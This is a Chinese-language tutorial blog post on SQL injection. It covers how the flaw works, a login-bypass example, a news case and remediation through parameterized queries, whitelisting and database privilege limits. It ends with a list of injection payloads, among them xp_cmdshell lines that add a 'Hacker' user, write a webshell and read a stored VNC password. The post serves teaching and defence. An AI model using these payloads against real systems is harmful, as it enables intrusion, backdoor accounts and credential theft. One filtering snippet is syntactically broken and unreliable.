iT邦幫忙

第 11 屆 iThome 鐵人賽

DAY 3
2
Security

應用程式弱點與它們的產地系列 第 3

[Day03]A1-SQL Injection

還是 OWASP TOP 10 中的影響力及破壞力最高的 Injection
包含 SQL Injection、Command Injection、DLL Injection、 …

Injection 的翻譯是插入,所以可以試想成夾帶一些髒髒的字元藏在正常的輸入中。
https://ithelp.ithome.com.tw/upload/images/20190917/20103647y8wRboneYS.jpg
圖片來源
好像有奇怪的東西混進來了(?

弱點描述

以 SQL Injection 為例,由於程式中連接符號串聯 SQL 語句,語句未做參數化(Prepare Command),加上網站所提供的合法輸入介面,未檢核來源,使用者在輸入資料中夾帶一段 SQL 程式碼,送出時即執行 SQL 語句,執行傳入參數的指令,透過網站程式交予後端資料庫執行。

利用方式

  • 正常 SQL 語法
SELECT * FROM Account WHERE username='[帳號]' AND password='[密碼]';
  • 惡意 SQL 語法
    輸入'or'1'='1 ,然後程式中就會將 SQL 語句轉成執行指令。
    可以在測試網站玩看看:http://demo.testfire.net/login.jsp
SELECT * FROM Account WHERE username='[帳號]'OR'1'='1' AND password='[密碼]';

因為,OR '1'='1' 恆等式成立,故後續不用輸入密碼也能登入。
所以,這個弱點的根源在於程式的寫法以「連接字串」及「未過濾的內容」造成的弱點。

相關新聞

弱點其實很多,但新聞其實不會揭露是 SQL Injection 弱點。
日盛證券網站發現 SQL Injection 漏洞,數億資料外洩

修改建議

  1. 參數化
    以 參數化 Prepared Statement 的寫法來存取資料庫

弱點原因來自於攻擊者可以操縱最後執行的 SQL 語句,所以最佳的防治方法就是將SQL語句的"指令"與"資料"能夠互相隔離開來,注意一旦發現弱點,要一併修正所有 SQL 語句。

String username = request.getParameter("username");
String password = request.getParameter("password");
conn = new SqlConnection(_ConnectionString);
conn.Open();
SqlCommand query = new SqlCommand(
             "SELECT * FROM Account WHERE username=@username
              AND password=@password", conn);
query.Parameters.AddWithValue("@username", username.Text);
query.Parameters.AddWithValue("@password", password.Text);
SqlDataReader objReader = query.ExecuteReader();
  1. 白名單
    最簡單的方式,就是限制輸入的內容
    (1) 輸入來源的資料長度,由於指令通常都很長,所以限制適當的資料長度即可解決很多問題
    (2) 輸入來源的資料內容,內容只能限制英文數字
    但白名單寫法可能受限於部份功能,像說留言版、網誌…等等

  2. 資料過濾
    不能真的解決這個弱點。
    把已知的惡意指令及特殊字元替換掉或清掉,但系統相關指令即排除,但可能族繁不及備載 XD
    String replaceString=s1.replace(''','');

  3. 黑名單
    不能真的解決這個弱點。列於黑名單中的指令就不執行,一樣族繁不及備載 XD

  4. 資料庫環境設定

  • 切分各個功能模組存取 DB 的權限,避免一個注入點就可取得所有資料。
  • 避免以 sa 執行所有資料庫存取動作
  • 限制資料庫執行程式本身的權限
  • 將一般用不到但功能強大的延伸程序刪除或限制其操作者身份。
    MS-SQL :sp_addextendedproc、sp_addlogin、sp_password、sp_addsrvrolemember、xp_cmdshell…

指令參考

' or '1'='1
And 1=1--
And 1=2--
';declare @a int;--
@@version>1
1/0
order by 100
' union select col1,col2,… from table--
;exec master..xp_cmdshell 'net user Hacker Hacker /add';--
;exec master..xp_cmdshell 'echo WEBSHELL > path/a.asp'--
;exec master..xp_regread 'HKEY_CURRENT_USER,Software\ORL\WinVNC3',Password;--
…

上一篇
[Day02]來自駭客的預告信
下一篇
[Day04]A2-Broken Authentication
系列文
應用程式弱點與它們的產地17
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

1 則留言

0
ry0056
iT邦新手 5 級 ‧ 2020-09-04 10:30:12

SQL Injection的世界是很深奧的wwwwwwww

我要留言

立即登入留言